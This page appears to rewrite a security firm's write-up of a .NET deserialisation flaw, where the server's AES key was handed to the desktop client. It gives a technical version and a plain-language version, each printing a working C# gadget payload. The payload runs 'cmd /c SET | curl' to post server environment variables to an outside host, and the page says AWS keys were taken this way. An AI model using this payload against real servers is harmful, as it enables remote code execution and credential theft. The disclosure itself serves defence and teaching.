Skip to content
RCE Write-up Advanced

CVE from 2018 Strikes Again

A .NET desktop application sent serialised objects to the server, and the server deserialised them using a vulnerable formatter class. Although the developer encrypted the HTTP payload with AES, an attacker who obtained the AES key and IV from the desktop login response could build a malicious serialised object and achieve remote code execution.

Colin McQueen Follow

Published on blog.stratumsecurity.com

Recently Stratum Security tested an application that was found to be vulnerable to code execution via a deserialization flawdocumented in a CVE from 2018. In an attempt to mitigate the code execution vulnerability, the developer attempted to encrypt the HTTP payload with AES encryption.

Colin McQueen, on blog.stratumsecurity.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

Stratum Security tested an application whose desktop component exposed a deserialisation flaw that had already been documented in a CVE from 2018. The developer was aware of the code execution risk and tried to mitigate it by encrypting the HTTP payload with AES. This write-up shows how that protection was bypassed and code execution achieved.

The feature works like this: after a user logs into the web application, they can click a menu item that launches a desktop application through a unique link sent to the user's browser. The desktop application lets the user modify data on the remote server. When it starts, it performs a login process using the user's web session and returns a base64 string with encrypted data containing the user's AES key and IV.

The proof of concept uses that base64 string together with the desktop application session cookie as input to exploit the application.

Setup

The researcher reviewed the desktop application's source code with ILSpy. The application's network traffic could not be tampered with directly because it was encrypted and compressed, so the source review was the way in. The only inputs the PoC needs are the base64 string returned by the desktop login and the desktop application session cookie.

Finding it

After a couple of days of reviewing the code, the researcher learned that the application used the base64 string from the desktop login to retrieve the user's AES key and IV, and then used those to encrypt the serialised .NET objects it exchanged with the server.

Figure 1 - Desktop Login Response containing a base64 string with encrypted data From the original on blog.stratumsecurity.com

Figure 1 shows the desktop login response containing the base64 string with the encrypted data. The PoC uses this string together with the desktop application session cookie as input to exploit the application.

Exploitation

Step 1: Build a payload with the application's own crypto

The researcher created a PoC that leverages the desktop application's source code to build a custom payload and send it to the server. The sample code is published as DesktopTrafficDecoder.cs (6 KB) alongside the post.

Compiling and executing the PoC returned a response with a stack trace that revealed the BinaryServerFormatterSink class being used:

Figure 2 - Compiled PoC and executed program to achieve RCE From the original on blog.stratumsecurity.com

Figure 2 shows the compiled PoC and the executed program used to achieve RCE. The class in the stack trace is the same one covered by ModZero's 2020 research, which described it as vulnerable to deserialisation.

Step 2: Serialise a gadget that runs a command

The payload below, taken from the PoC, serializes a SortedSet object carrying a command that retrieves environment variables, AWS keys and the AWS EC2 user data, which contained plaintext credentials:

C#
// Small snippet from PoC that generates the serialized object payload before encrypting
public static object GeneratePayload() {
    // https://www.modzero.com/modlog/archives/2020/06/16/mz-20-03_-_new_security_advisory_regarding_vulnerabilities_in__net/index.html
    // https://github.com/modzero/MZ-20-03_PoC_NetRemoting/blob/master/RemotingExploit/Program.cs
    Comparison c = new Comparison(string.Compare);
    var c2 = Func.Combine(c, c);
    TypeConfuseDelegate(c2, new Func(Process.Start));

    Comparison c3 = (Comparison)c2;
    // Response returned is an embedded exception
    // Unable to cast object of type 'System.Collections.Generic.SortedSet`1[System.String]' to type 'System.Runtime.Remoting.Messaging.IMessage'
    // Deserialization will still happen and command will execute regardless of the above exception
    // Exfil env vars
    SortedSet s = new SortedSet(new string[] { "cmd", "/c SET | curl -X POST --data-binary @- http://remoteserver.stratumsecurity.com/"});
    FieldInfo fi = typeof(SortedSet).GetField("comparer", BindingFlags.NonPublic | BindingFlags.Instance);
    fi.SetValue(s, Comparer.Create(c3));
    return s;
}

It then creates a SortedSet whose contents are the command line cmd /c SET | curl -X POST --data-binary @- http://remoteserver.stratumsecurity.com/, and writes the crafted comparer into the private comparer field via reflection.

The comments in the code note an important detail: the response comes back as an embedded exception, Unable to cast object of type 'System.Collections.Generic.SortedSet1[System.String]' to type 'System.Runtime.Remoting.Messaging.IMessage'`. Deserialisation still happens and the command executes regardless of that exception, so the error is not a sign that the attempt failed.

Step 3: Read the exfiltrated data

The following screenshots show the data retrieved with the PoC:

Figure 3 - Retrieved environment variables on Windows EC2 instance From the original on blog.stratumsecurity.com

Figure 3 shows the environment variables retrieved on the Windows EC2 instance.

Figure 4 - Retrieved AWS keys From the original on blog.stratumsecurity.com

Figure 4 shows the AWS keys that were retrieved.

Root cause

A stack trace revealed the BinaryServerFormatterSink class being used, which ModZero's 2020 research described as vulnerable to deserialisation. AES encryption of the HTTP payload does not remove that exposure: the key and IV needed to encrypt a valid payload are handed to the client in the desktop login response, so an attacker who controls the client can encrypt any object graph they like.

Impact

An attacker who can obtain the base64 string from the desktop login and the desktop application session cookie can send a crafted serialised object and execute commands on the server. The payload was built to retrieve environment variables, AWS keys and EC2 user data containing plaintext credentials; screenshots show environment variables and AWS keys. The report does not describe any further use of those credentials.

Fix

The recommended remediation was to remove the current implementation that sends serialised .NET objects and replace it with a safer implementation using Microsoft's latest JSON library.

Variants to test

  1. Look for thick clients that receive key material from the server at login. A positive result is a login response containing a base64 blob that the client uses to derive an AES key and IV for its own requests.
  2. Inspect stack traces for BinaryServerFormatterSink or other .NET remoting formatters. A positive result is a deserialisation error naming one of those classes when you send a malformed or unexpected object.
  3. Try a SortedSet with a crafted comparer field, as in the PoC above. A positive result is command output arriving at your listener even when the response contains a cast exception.
  4. Check whether encryption or compression of the transport is the only protection on a serialised endpoint. A positive result is that you can reproduce the client's crypto from data the server gives you and still get your payload deserialised.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 12 min read.

What happened, in plain words

Stratum Security tested an application that had two parts: a website you use in a browser, and a separate desktop program you install on your computer. The desktop program talked to the same server as the website. The server turned data from the desktop program back into live program objects, a weakness called deserialisation. This kind of weakness is called deserialisation, and a version of it had already been publicly documented in a CVE from 2018. A CVE is a public catalogue entry for a known security bug, like a recall notice for a product.

The developer knew about the risk and tried to protect the connection by encrypting the data sent over the network with AES. Encryption scrambles data so that anyone watching the connection sees only gibberish. The base64 string returned at login contained the user's AES key and IV, and the PoC used it to build its own payload. The lock was real, but the key was given out with it.

This post shows how the researcher got around that protection and made the server run commands of their choosing.

Background: how the feature works

After a user logs into the web application, they can click a menu item. That click sends a unique link to the user's browser, and the link launches a desktop application. The desktop application lets the user modify data on the remote server.

When the desktop application starts, it performs a login process using the user's web session. The server responds with a base64 string containing encrypted data. Base64 is a way of writing arbitrary bytes using only ordinary text characters, so binary data can travel safely inside text. Inside that encrypted blob are the user's AES key and IV. An AES key is the secret used to scramble and unscramble data. An IV, or initialisation vector, is a starting value used alongside the key so that encrypting the same data twice does not produce identical output.

The researcher's proof of concept (PoC, a small program written to demonstrate that a bug is real) uses two things as input: that base64 string, and the desktop application's session cookie. A cookie is a small piece of text a website asks your browser to store and send back with each request, so the server can recognise you; a session cookie is the one that says "this is the logged-in user".

Setting up

First, the researcher reviewed the desktop application's source code, the human-readable instructions the program is built from. The tool used for this was ILSpy, a program that takes a compiled .NET application and shows something close to its original source code.

Why not just watch the network traffic instead? Because the desktop application's traffic was encrypted and compressed, so it could not be tampered with or read directly. Compression squeezes data to make it smaller; encryption then makes it unreadable. With both in place, reading the traffic was not an option, so reading the code was the way in.

The only inputs the PoC needs are the base64 string returned by the desktop login and the desktop application session cookie.

Finding the weakness

After a couple of days of reviewing the code, the researcher learned that the application used the base64 string from the desktop login to retrieve the user's AES key and IV, and then used those to encrypt the serialised .NET objects it exchanged with the server.

Serialisation is the process of turning a live object in a program (say, a list, or a user record) into a stream of bytes so it can be sent over a network or saved to disk. Deserialisation is the reverse: the server takes those bytes and rebuilds the object. The danger is that rebuilding an object can trigger actions inside the program, and if the bytes come from an attacker, so do the actions.

Figure 1 - Desktop Login Response containing a base64 string with encrypted data From the original on blog.stratumsecurity.com

Figure 1 shows the desktop login response containing the base64 string with the encrypted data. The PoC uses this string together with the desktop application session cookie as input to exploit the application. A useful comparison is a sealed envelope where the sender is also given the wax seal and the stamp: the seal proves nothing about who wrote the letter.

Exploitation

Step 1: Build a payload with the application's own crypto

The researcher created a PoC that leverages the desktop application's source code to build a custom payload and send it to the server. The sample code is published as DesktopTrafficDecoder.cs (6 KB) alongside the post.

Compiling and executing the PoC returned a response with a stack trace that revealed the BinaryServerFormatterSink class being used. A stack trace is the list of internal steps a program prints when something goes wrong, a bit like the list of stops on a train route shown after a delay. It is useful to an attacker because it names the internal parts of the system.

Figure 2 - Compiled PoC and executed program to achieve RCE From the original on blog.stratumsecurity.com

Figure 2 shows the compiled PoC and the executed program used to achieve RCE. The class named in the stack trace is the same one covered by ModZero's 2020 research, which described it as vulnerable to deserialisation. BinaryServerFormatterSink is a component of .NET remoting, an older Microsoft technology for letting programs talk to each other across a network; this component is the part that turns incoming bytes back into objects.

Step 2: Serialise a gadget that runs a command

The payload below, taken from the PoC, serializes a SortedSet object carrying a command that retrieves environment variables, AWS keys and the AWS EC2 user data, which contained plaintext credentials.

A SortedSet is a collection that keeps its items in order, and to keep them in order it uses a comparer, a small piece of code that decides which of two items comes first. A gadget is an existing piece of code in the target program that an attacker can chain together to do something it was never meant to do. Environment variables are named settings a running program can read, often including secrets. AWS keys are credentials for Amazon Web Services, the cloud platform the server ran on. EC2 user data is a startup script that cloud instances can be given, and here it contained plaintext credentials.

C#
// Small snippet from PoC that generates the serialized object payload before encrypting
public static object GeneratePayload() {
    // https://www.modzero.com/modlog/archives/2020/06/16/mz-20-03_-_new_security_advisory_regarding_vulnerabilities_in__net/index.html
    // https://github.com/modzero/MZ-20-03_PoC_NetRemoting/blob/master/RemotingExploit/Program.cs
    Comparison c = new Comparison(string.Compare);
    var c2 = Func.Combine(c, c);
    TypeConfuseDelegate(c2, new Func(Process.Start));

    Comparison c3 = (Comparison)c2;
    // Response returned is an embedded exception
    // Unable to cast object of type 'System.Collections.Generic.SortedSet`1[System.String]' to type 'System.Runtime.Remoting.Messaging.IMessage'
    // Deserialization will still happen and command will execute regardless of the above exception
    // Exfil env vars
    SortedSet s = new SortedSet(new string[] { "cmd", "/c SET | curl -X POST --data-binary @- http://remoteserver.stratumsecurity.com/"});
    FieldInfo fi = typeof(SortedSet).GetField("comparer", BindingFlags.NonPublic | BindingFlags.Instance);
    fi.SetValue(s, Comparer.Create(c3));
    return s;
}
  1. public static object GeneratePayload() { declares a function called GeneratePayload that builds and returns the malicious object. static means it belongs to the class itself rather than to a particular instance, and object is the most general .NET type, so it can return anything.
  2. The two comment lines beginning with // are links to the public research and proof-of-concept code this technique comes from. Comments are notes for humans and are ignored when the program runs.
  3. Comparison c = new Comparison(string.Compare); creates a delegate. A delegate is a variable that holds a reference to a piece of code, like a phone number that points to a person rather than the person themselves. Here it points at string.Compare, the built-in routine that compares two strings.
  4. var c2 = Func.Combine(c, c); combines that delegate with itself, producing a new delegate that calls the comparison twice. This is part of the trick that makes the next step possible.
  5. TypeConfuseDelegate(c2, new Func(Process.Start)); is the core of the gadget. It takes the combined delegate and swaps what it points at for Process.Start, the .NET routine that launches a new program. The name says it plainly: the type of the delegate is confused, so code that expects a comparison ends up starting a process.
  6. Comparison c3 = (Comparison)c2; casts the result back to the Comparison type so it can be stored where the collection expects a comparer.
  7. The next four comment lines explain an important detail: the response comes back as an embedded exception, Unable to cast object of type 'System.Collections.Generic.SortedSet1[System.String]' to type 'System.Runtime.Remoting.Messaging.IMessage'`. In plain words, the server tries to treat the returned object as a message and fails, because it is a sorted set of strings. Deserialisation still happens and the command executes regardless of that exception, so the error is not a sign that the attempt failed. Think of a parcel that is refused at the door but whose contents have already been set off inside.
  8. SortedSet s = new SortedSet(new string[] { "cmd", "/c SET | curl -X POST --data-binary @- http://remoteserver.stratumsecurity.com/"}); creates the collection and fills it with the command line to run. cmd is the Windows command interpreter, /c tells it to run the following command and then stop, SET lists all environment variables, and the pipe | feeds that output into curl, a tool for sending HTTP requests. curl -X POST --data-binary @- sends the piped data as the body of a POST request to the address given. In short: read the environment variables and post them to the researcher's server. This is exfiltration, getting data out of a system to a place the attacker controls.
  9. FieldInfo fi = typeof(SortedSet).GetField("comparer", BindingFlags.NonPublic | BindingFlags.Instance); uses reflection, a .NET feature that lets code inspect and change a program's internals at runtime, to find the private field named comparer inside SortedSet. NonPublic means the field is not normally visible from outside, and Instance means it belongs to a particular object rather than to the class as a whole.
  10. fi.SetValue(s, Comparer.Create(c3)); writes the crafted delegate into that private field. This is the moment the trap is set: the collection now holds a comparer that, when used, starts a process.
  11. return s; hands the prepared object back to the caller, which serializes it and encrypts it before sending it to the server.
  12. The closing } ends the function.

Step 3: Read the exfiltrated data

The following screenshots show the data retrieved with the PoC:

Figure 3 - Retrieved environment variables on Windows EC2 instance From the original on blog.stratumsecurity.com

Figure 3 shows the environment variables retrieved on the Windows EC2 instance.

Figure 4 - Retrieved AWS keys From the original on blog.stratumsecurity.com

Figure 4 shows the AWS keys that were retrieved.

Root cause

A stack trace revealed the BinaryServerFormatterSink class being used, which ModZero's 2020 research described as vulnerable to deserialisation. AES encryption of the HTTP payload does not remove that exposure: the key and IV needed to encrypt a valid payload are handed to the client in the desktop login response, so an attacker who controls the client can encrypt any object graph they like.

A trust boundary is the line between two parties where one is allowed to trust the other. Here the server treated the desktop program as trustworthy because its messages were encrypted, but the program runs on the user's machine, where the user is in charge. Encrypting a message proves it was scrambled with a key, not that a friendly party wrote it.

Impact

An attacker who can obtain the base64 string from the desktop login and the desktop application session cookie can send a crafted serialised object and execute commands on the server. The payload was built to retrieve environment variables, AWS keys and EC2 user data containing plaintext credentials; screenshots show environment variables and AWS keys. The report does not describe any further use of those credentials.

Fix

The recommended remediation was to remove the current implementation that sends serialised .NET objects and replace it with a safer implementation using Microsoft's latest JSON library. JSON is a plain, widely used text format for data, and unlike .NET serialisation it describes data only, so rebuilding it does not run code.

Variants to test

  1. Look for thick clients that receive key material from the server at login. A thick client is a desktop program that does much of the work itself rather than leaving it to the browser. A positive result is a login response containing a base64 blob that the client uses to derive an AES key and IV for its own requests.
  2. Inspect stack traces for BinaryServerFormatterSink or other .NET remoting formatters. A positive result is a deserialisation error naming one of those classes when you send a malformed or unexpected object.
  3. Try a SortedSet with a crafted comparer field, as in the PoC above. A positive result is command output arriving at your listener even when the response contains a cast exception.
  4. Check whether encryption or compression of the transport is the only protection on a serialised endpoint. A positive result is that you can reproduce the client's crypto from data the server gives you and still get your payload deserialised.

Glossary

  • AES: a widely used symmetric encryption algorithm, where the same secret key both locks and unlocks the data.
  • API: a defined way for one piece of software to ask another to do something, like a menu of requests a service accepts.
  • AWS: Amazon Web Services, a cloud platform that rents out servers and storage.
  • AWS keys: credentials that grant access to an AWS account or its resources.
  • Base64: a way of writing binary data using only ordinary text characters.
  • BinaryServerFormatterSink: a .NET remoting component that turns incoming bytes back into objects on the server.
  • Comparer: a small piece of code that decides the order of two items in a collection.
  • Cookie: a small piece of text a website asks your browser to store and send back with each request.
  • CVE: a public catalogue entry for a known security vulnerability.
  • Delegate: a variable that holds a reference to a piece of code, so it can be called later.
  • Deserialisation: turning a stream of bytes back into a live object inside a program.
  • EC2: Amazon's service for running virtual servers in the cloud.
  • EC2 user data: a startup script or configuration given to a cloud instance when it launches.
  • Encryption: scrambling data so that only someone with the right key can read it.
  • Environment variables: named settings a running program can read, often including secrets.
  • Exfiltration: getting data out of a system to a place the attacker controls.
  • Gadget: an existing piece of code in a target program that an attacker chains together to do something unintended.
  • ILSpy: a tool that shows something close to the source code of a compiled .NET application.
  • IV (initialisation vector): a starting value used alongside an encryption key so identical data does not encrypt identically.
  • JSON: a plain text format for data, which describes values without running code when read back.
  • PoC (proof of concept): a small program written to demonstrate that a bug is real.
  • Reflection: a .NET feature that lets code inspect and change a program's internals at runtime.
  • Serialisation: turning a live object in a program into a stream of bytes so it can be sent or stored.
  • Session cookie: the cookie that identifies a logged-in user to a server.
  • SortedSet: a .NET collection that keeps its items in order using a comparer.
  • Source code: the human-readable instructions a program is built from.
  • Stack trace: the list of internal steps a program prints when something goes wrong.
  • Thick client: a desktop program that does much of the work itself rather than leaving it to the browser.
  • Trust boundary: the line between two parties where one is allowed to trust the other.
  • TypeConfuseDelegate: the technique that swaps a delegate's target so code expecting a comparison ends up starting a process.

More by Colin McQueen

View all

3 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.